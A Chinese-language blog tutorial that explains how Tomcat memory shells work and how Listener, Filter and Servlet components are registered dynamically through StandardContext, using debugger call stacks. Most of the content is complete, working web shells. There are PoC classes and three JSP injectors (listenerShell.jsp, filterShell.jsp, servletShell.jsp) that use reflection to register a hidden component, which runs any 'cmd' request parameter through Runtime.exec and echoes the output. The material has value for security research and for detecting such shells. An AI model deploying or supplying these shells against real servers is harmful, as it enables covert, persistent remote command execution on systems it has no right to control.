Tomcat内存马大致可以分为三类:Listener型、Filter型、Servlet型,也就是Java Web核心的三大组件,Tomcat内存马的核心原理就是动态地将恶意组件动态注册到正在运行的Tomcat服务器中。 主要解决两个核心问题:
在每个组件什么位置执行恶意命令
每个组件动态注册的流程和方法
添加tomcat依赖:
1 2 3 4 5 <dependency > <groupId > org.apache.tomcat</groupId > <artifactId > tomcat-catalina</artifactId > <version > 9.0.70</version > </dependency >
在此之前需要理解Tomcat整体架构基础:https://lemono.fun/tomcat/
一、Listener内存马 内存马注入位置-requestInitialized Listener根据事件源不同大致可分为以下三类:
ServletContextListener
HttpSessionListener
ServletRequestListener
这里用到的则是ServletRequestListener,因为他使用来监听ServletRequest对象,在该接口中定义了两个默认方法,其中requestInitialized
的作用是在初始化资源时便会加载该方法,因此在这个方法下用来做编写内存马的地方极为合适。 编写一个Listener:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @WebListener(value = "/") public class Listener_Shell implements ServletRequestListener { @Override public void requestInitialized (ServletRequestEvent sre) { ServletRequest servletRequest = sre.getServletRequest(); System.out.println("初始化操作!!!" ); System.out.println(servletRequest); } @Override public void requestDestroyed (ServletRequestEvent sre) { } }
通过getServletRequest获得一个ServletRequest类型的返回,但是在打印结果时可以看到是RequestFacade类型,跟进该方法: 对于ServletRequest接口,可以看到具体应该是由RequestFacade实现的 并且RequestFacade中存在我们需要的request,通过反射便可获取,因此我们便可拿到request在listener中操纵http(request和response) 使用.java形式构造一个恶意Listener: Poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 @WebListener(value = "/") public class Listener_Shell implements ServletRequestListener { @Override public void requestInitialized (ServletRequestEvent sre) { ServletRequest servletRequest = sre.getServletRequest(); try { Field declaredField = Class.forName("org.apache.catalina.connector.RequestFacade" ).getDeclaredField("request" ); declaredField.setAccessible(true ); Request request = (Request) declaredField.get(servletRequest); System.out.println(request); Response response = request.getResponse(); PrintWriter writer = response.getWriter(); java.lang.String cmd = request.getParameter("cmd" ); if (cmd != null ) { int i = 0 ; byte [] bytes = new byte [2048 ]; InputStream calc = Runtime.getRuntime().exec(cmd).getInputStream(); if ((i = calc.read(bytes)) != -1 ) { writer.println(new String (bytes)); } } } catch (NoSuchFieldException e) { throw new RuntimeException (e); } catch (ClassNotFoundException e) { throw new RuntimeException (e); } catch (IllegalAccessException | IOException e) { throw new RuntimeException (e); } } @Override public void requestDestroyed (ServletRequestEvent sre) { } }
Listener注册流程 知道了Listener注入木马的位置,那么还需要知道Listener的整个注册流程才能更好的为后来自动注册内存马。 在开始处断点,查看整个调用栈,会经过listenerStart启动listener 根据上面的解释来看,就是为Context配置实例化的listener实例并当所有的listeners都被初始化后返回truefindApplicationListeners
加载listener类名,来自于web.xm或者注解中 紧跟着根据类名实例化所有的listener, 条件判断,添加到ArrayList中 重新将上面获得的新的listeners覆盖xml或注解中定义的listeners(就是避免因为其他因素插入了其他listeners) 在setApplicationEventListeners
中首先就是clear清空listenerslist,再添加新的listeners
fireRequestInitEvent 通过上面添加了恶意listeners,下一步就是调用listeners 在命令执行的地方断点,当执行到这里时发现调用了fireRequestInitEvent
,跟进方法 首先就是getApplicationEventListeners
,在上面已经说的很明确了,获取加载的listenrers 同样该类型的操作大概有三种,get、set、add,且还是位于StandardContext下,我们可以通过addApplicationEventListener
任意添加一个listener(后续会用到) 因此listener就是我们的恶意Listener_Shell,因为已经实例化过,所以直接调用他的requestInitialized,也就是我们最初写入内存马的位置。至此就全部连接起来了。 所以我们注册listener内存马的思路这样:
Exp listenerShell.jsp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="java.io.*" %> <%@ page import ="org.apache.catalina.connector.Response" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>lemono</title> </head> <body> <%! public class Listener_Shell implements ServletRequestListener { @Override public void requestInitialized (ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); try { Field declaredField = Class.forName("org.apache.catalina.connector.RequestFacade" ).getDeclaredField("request" ); declaredField.setAccessible(true ); Request req = (Request) declaredField.get(request); Response response = req.getResponse(); String cmd = request.getParameter("cmd" ); if (cmd != null ) { InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); InputStreamReader inputStreamReader = new InputStreamReader (inputStream); BufferedReader bufferedReader = new BufferedReader (inputStreamReader); StringBuffer stringBuffer = new StringBuffer (); String str = null ; while ((str = bufferedReader.readLine()) != null ) { stringBuffer.append(str + "\n" ); } response.getWriter().println(stringBuffer.toString()); } } catch (NoSuchFieldException e) { throw new RuntimeException (e); } catch (ClassNotFoundException e) { throw new RuntimeException (e); } catch (IllegalAccessException e) { throw new RuntimeException (e); } catch (IOException e) { throw new RuntimeException (e); } } @Override public void requestDestroyed (ServletRequestEvent sre) { } } %> <% Field requestField = request.getClass().getDeclaredField("request" ); requestField.setAccessible(true ); Request req = (Request) requestField.get(request); StandardContext context = (StandardContext) req.getContext(); Listener_Shell shell_Listener = new Listener_Shell (); context.addApplicationEventListener(shell_Listener); %> </body> </html>
首先访问listenerShell2.jsp注入内存马 随后即可在任意位置通过cmd参数执行命令
二、Filter内存马 Filter注入位置 每一个filter的实现都是通过实现javax.servlet.Filter接口,并重写下面的三个方法,init、doFilter、destroy,并最终在doFilter方法中写入我们的filter过滤逻辑。在doFilter最后以chain.doFilter(request,response);
收尾。因此选择在doFilter中写入可以回显的命令执行木马: Poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package com.example.memshell.filter;import javax.servlet.*;import javax.servlet.annotation.WebFilter;import javax.servlet.http.HttpFilter;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;public class Filter_Demo implements Filter { @Override public void init (FilterConfig filterConfig) throws ServletException { System.out.println("filter 初始化" ); } @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); PrintWriter writer = response.getWriter(); if (cmd != null ) { InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); int i = 0 ; byte [] bytes = new byte [2048 ]; if ((i = inputStream.read(bytes)) != -1 ) { writer.println(new String (bytes)); } } System.out.println("doFilter" ); chain.doFilter(request,response); } @Override public void destroy () { System.out.println("filter destroy" ); } }
配置web.xml使filter生效(也可注解),主要就是filter-name和url-pattern web.xml:
1 2 3 4 5 6 7 8 <filter > <filter-name > Filter</filter-name > <filter-class > com.example.memshell.filter.Filter_Demo</filter-class > </filter > <filter-mapping > <filter-name > Filter</filter-name > <url-pattern > /*</url-pattern > </filter-mapping >
启动Tomcat:传入参数即可执行命令
Filter动态注册流程 分析内存马的关键类是StandardContext,在Tomcat动态注册中大多都用到了该类下的get、set或者add方法,并且几乎所有的配置都是从这里开始调用,比如这里的filterStart
:配置以及初始化filter到Context中,跟进filterStart 首先是循环遍历filterDefs中的值,起初filterDefs中包含两个filter:WsFilter和Filter(自己在web.xml中配置的), WsFilter本身是Tomcat为WebSocket连接初始化HTTP连接定义的filter,用于判断当前请求是否为WebSocket请求,以便完成握手过程。
FilterDef filterDefs本身是一个HashMap,存储的是FilterDef对象,而FilterDef是从配置的web.xml中拿到filterName和filterClass,这一步早在filterStart之前就已经做完,最开始的一步应该是parse解析web.xml中信息,包括listener、filter、servlet 从web.xml中拿到filterName和filterClass后,调用对应的set方法设置值,并最终在standardContext#addFilterDef中将对应的信息加载到filterDefs中,这也是Tomcat在动态注册filter很关键的一步。
FilterMap 回到刚才的位置,直接看第二次for循环(遍历我们定义的Filter) 来到第二个关键点:filterConfig
1 2 3 4 5 try { ApplicationFilterConfig filterConfig = new ApplicationFilterConfig (this , entry.getValue()); filterConfigs.put(name, filterConfig); }
ApplicationFilterConfig中赋值context为StandardContext,判断当前Filter是否为空,主要作用就是针对从web.xml中加载出来的filter,通过调试可以明显的看到:当第一次循环WsFilter进入时getFilter是不为null,直接来到newInstance实例化,当第二次循环为我们定义的filter时,因为是从web.xml中加载,仅仅只有filterName和filterClass,并不是真正的filter,所以getFilter为null,于是再通过ApplicationFilterConfig#getFilter实现newInstance实例化。核心步骤是一样的,只是多了一些判断。 接着就是将filterConfig put到filterConfigs中 此时大概是这样,多了另一个东西:filterMaps 在filterMaps中的FilterMap中,可见包含了两个值:WsFilter和Filter,根据后面的值可以清楚看到它主要记录的是filter的filterName和urlPattern,同样是从web.xml中解析加载。 filterMaps来源于StandardContext$ContextFilterMaps(内部类),通过add方法加载传进来的filterMap filterMap作为FilterMap对象,与FilterDef一样,解析web.xml并调用对应的set或者add方法,不同的是filterMap中存储的是filterName和urlPattern,且filterMap是执行在filterDef之后的。 到这一个真正的Filter基本已经注册完毕,主要为三个东西:filterDefs、filterMaps、filterConfigs,这也是Tomcat在动态注册Filter时的三个操作。所以我们的思路就是代码中构造这三个东西。步骤如下:
首先获取StandardContext
创建FilterDef(FilterName和FIlterClass)
创建FilterMap(FilterName和URLPattern)
从StandardContext中拿到filterConfigs并put(FilterName,filterConfig)
Filter注册完成后,下一步便是Filter的调用和执行,接下来分析Filter是如何执行的
Filter执行流程 在写好的Filter_Demo#doFilter下断点,先看调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 doFilter:20 , Filter_Demo (com.example.memshell.filter) internalDoFilter:189 ApplicationFilterChain (org.apache.catalina.core) doFilter:162 ApplicationFilterChain (org.apache.catalina.core) invoke:177 StandardWrapperValve (org.apache.catalina.core) invoke:97 StandardContextValve (org.apache.catalina.core) invoke:541 AuthenticatorBase (org.apache.catalina.authenticator) invoke:135 StandardHostValve (org.apache.catalina.core) invoke:92 ErrorReportValve (org.apache.catalina.valves) invoke:687 AbstractAccessLogValve (org.apache.catalina.valves) invoke:78 StandardEngineValve (org.apache.catalina.core) service:360 CoyoteAdapter (org.apache.catalina.connector) service:399 Http11Processor (org.apache.coyote.http11) process:65 AbstractProcessorLight (org.apache.coyote) process:891 AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1784 , NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49 SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191 ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659 , ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61 , TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:745 , Thread (java.lang)
跟进ApplicationFilterChain#internalDoFilter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 private void internalDoFilter (ServletRequest request, ServletResponse response) throws IOException, ServletException { if (pos < n) { ApplicationFilterConfig filterConfig = filters[pos++]; try { Filter filter = filterConfig.getFilter(); if (request.isAsyncSupported() && "false" .equalsIgnoreCase( filterConfig.getFilterDef().getAsyncSupported())) { request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE); } if ( Globals.IS_SECURITY_ENABLED ) { final ServletRequest req = request; final ServletResponse res = response; Principal principal = ((HttpServletRequest) req).getUserPrincipal(); Object[] args = new Object []{req, res, this }; SecurityUtil.doAsPrivilege ("doFilter" , filter, classType, args, principal); } else { filter.doFilter(request, response, this ); } } catch (IOException | ServletException | RuntimeException e) { throw e; } catch (Throwable e) { e = ExceptionUtils.unwrapInvocationTargetException(e); ExceptionUtils.handleThrowable(e); throw new ServletException (sm.getString("filterChain.filter" ), e); } return ; } ...... } else { servlet.service(request, response); }
该方法的作用的是通过pos递增遍历filters,并调用其各自的filter.doFilter(即ApplicationFilterChain#doFilter),当遍历完时来到末尾的servlet.service()结束。 filters作为一个数组,包含了传入的两个ApplicationFilterConfig,追踪后发现在StandardWrapperValve中存在创建filterChain ApplicationFilterFactory#createFilterChain,通过StandardContext创建filterChain,所以在我们写的每个Filter最后都是以chain.doFilter结尾,就是为了调用起整个filterChain,直到最后的servlet.service。
Exp编写: 通过Filter动态注册流程分析,只要构造FilterDef和FilterMap并放到FilterConfig中便可完成Filter的注册工作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import ="java.io.IOException" %> <%@ page import ="java.io.PrintWriter" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="org.apache.catalina.Context" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import ="java.util.Map" %> <%@ page import ="org.apache.catalina.core.ApplicationFilterChain" %> <%@ page import ="java.lang.reflect.Constructor" %> <%@ page import ="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %><%-- <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Filter</title> </head> <body> <%! public class Filter_Shell implements Filter { @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); PrintWriter writer = response.getWriter(); if (cmd != null ) { InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); int i = 0 ; byte [] bytes = new byte [2048 ]; if ((i = inputStream.read(bytes)) != -1 ) { writer.println(new String (bytes)); } } chain.doFilter(request,response); } } %> <% ServletContext servletContext = request.getServletContext(); Field declaredField = servletContext.getClass().getDeclaredField("context" ); declaredField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) declaredField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context" ); standardContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); String filter_Name = "filter" ; Filter_Shell filterShell = new Filter_Shell (); FilterDef filterDef = new FilterDef (); filterDef.setFilterName(filter_Name); filterDef.setFilter(filterShell); filterDef.setFilterClass(filterShell.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap (); filterMap.setFilterName(filter_Name); filterMap.addURLPattern("/*" ); standardContext.addFilterMapBefore(filterMap); Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs" ); filterConfigsField.setAccessible(true ); Map filterConfigs = (Map) filterConfigsField.get(standardContext); Class<?> aClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig" ); Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Context.class, FilterDef.class); declaredConstructor.setAccessible(true ); ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) declaredConstructor.newInstance(standardContext, filterDef); filterConfigs.put(filter_Name,applicationFilterConfig); %> </body> </html>
jsp代码实现,先访问filterShell.jsp注册filter,再执行命令;因为是/*,所以任意url都可执行命令。
三、Servlet内存马 Servle注入位置 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 package com.example.memshell.servlet;import javax.jws.WebService;import javax.servlet.*;import javax.servlet.annotation.WebServlet;import java.io.*;@WebServlet("/shell") public class Servlet_Shell implements Servlet { @Override public void init (ServletConfig config) throws ServletException { System.out.println("init~" ); } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd" ); if (cmd != null ) { InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); InputStreamReader inputStreamReader = new InputStreamReader (inputStream); BufferedReader bufferedReader = new BufferedReader (inputStreamReader); StringBuffer stringBuffer = new StringBuffer (); String str = null ; while ((str = bufferedReader.readLine()) != null ) { stringBuffer.append(str + "\n" ); } res.getWriter().println(stringBuffer.toString()); } } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } }
Servlet生命周期:
加载:当Tomcat第一次访问Servlet的时候,Tomcat会负责创建Servlet的实例
初始化:当Servlet被实例化后,Tomcat会调用init()方法初始化这个对象
处理服务:当浏览器访问Servlet的时候,Servlet 会调用service()方法处理请求
销毁:当Tomcat关闭时或者检测到Servlet要从Tomcat删除的时候会自动调用destroy()方法,让该实例释放掉所占的资源。一个Servlet如果长时间不被使用的话,也会被Tomcat自动销毁
卸载:当Servlet调用完destroy()方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()方法进行初始化操作
因此我们的恶意执行代码的地方就是在service中,当使用浏览器访问定义的url时便会执行service中的恶意代码。
Servlet动态注册流程 在filter动态注册中提到,开始的位置几乎都为StandardContext#startInternal,从中可以明确的看到执行顺序:listener -> filter -> servlet 那么在此之前有一个重要的操作:从web.xml(也包括注解)中加载相关配置,name和className等,三大组件同样都存在这个操作。 在ContextConfig.configureContext中,主要做的便是从web.xml中加载配置,并为servlet创建wrapper。wrapper本质上是servlet的容器,继承自ContainerBase类,实现了Servlet的接口,他负责接受请求并将其传递给对应servlet实例,管理整个servlet的生命周期,包括装载、初始化、销毁等。 这里从web.xml中遍历所有servlet,其中也包括Servlet_Shell恶意serlvet,然后调用createWrapper为其创建对应的Wrapper 拿到wrapper后便是将对应的name和className注入到其中,这就是servlet的大致注入流程。 提取其中关键点如下:
wrapper.setName(servlet.getServletName()); wrapper.setServletClass(servlet.getServletClass()); context.addChild(wrapper); //context -> standardContext context.addServletMappingDecoded(entry.getKey(), entry.getValue());
因此exp就很简单了,按这个步骤实现即可:
Exp servletShell.jsp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 <%@ page import ="java.io.IOException" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.io.InputStreamReader" %> <%@ page import ="java.io.BufferedReader" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="org.apache.catalina.Context" %> <%@ page import ="org.apache.catalina.Wrapper" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>ServletShell</title> </head> <body> <%! public class Servlet_Shell implements Servlet { @Override public void init (ServletConfig config) throws ServletException { System.out.println("init~" ); } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd" ); if (cmd != null ) { InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); InputStreamReader inputStreamReader = new InputStreamReader (inputStream); BufferedReader bufferedReader = new BufferedReader (inputStreamReader); StringBuffer stringBuffer = new StringBuffer (); String str = null ; while ((str = bufferedReader.readLine()) != null ) { stringBuffer.append(str + "\n" ); } res.getWriter().println(stringBuffer.toString()); } } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } } %> <% Field declaredField = request.getClass().getDeclaredField("request" ); declaredField.setAccessible(true ); Request req = (Request) declaredField.get(request); Context standardContext = req.getContext(); Servlet_Shell servletShell = new Servlet_Shell (); Wrapper wrapper = standardContext.createWrapper(); wrapper.setName("Shell" ); wrapper.setServletClass(servletShell.getClass().getName()); wrapper.setServlet(servletShell); standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/servlet_shell" ,"Shell" ); %> </body> </html>
小结 Tomcat型内存马利用的是tomcat动态注册实现,主要体现在StandardContext中,底层调用该类下的方法实现了很多动态注册中的关键步骤,整个流程总体来讲与Tomcat的整个架构紧密相关。
参考链接:http://wjlshare.com/archives/1651
https://goodapple.top/archives/1355#header-id-90
https://drun1baby.top/2022/08/22/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-03-Tomcat-%E4%B9%8B-Filter-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/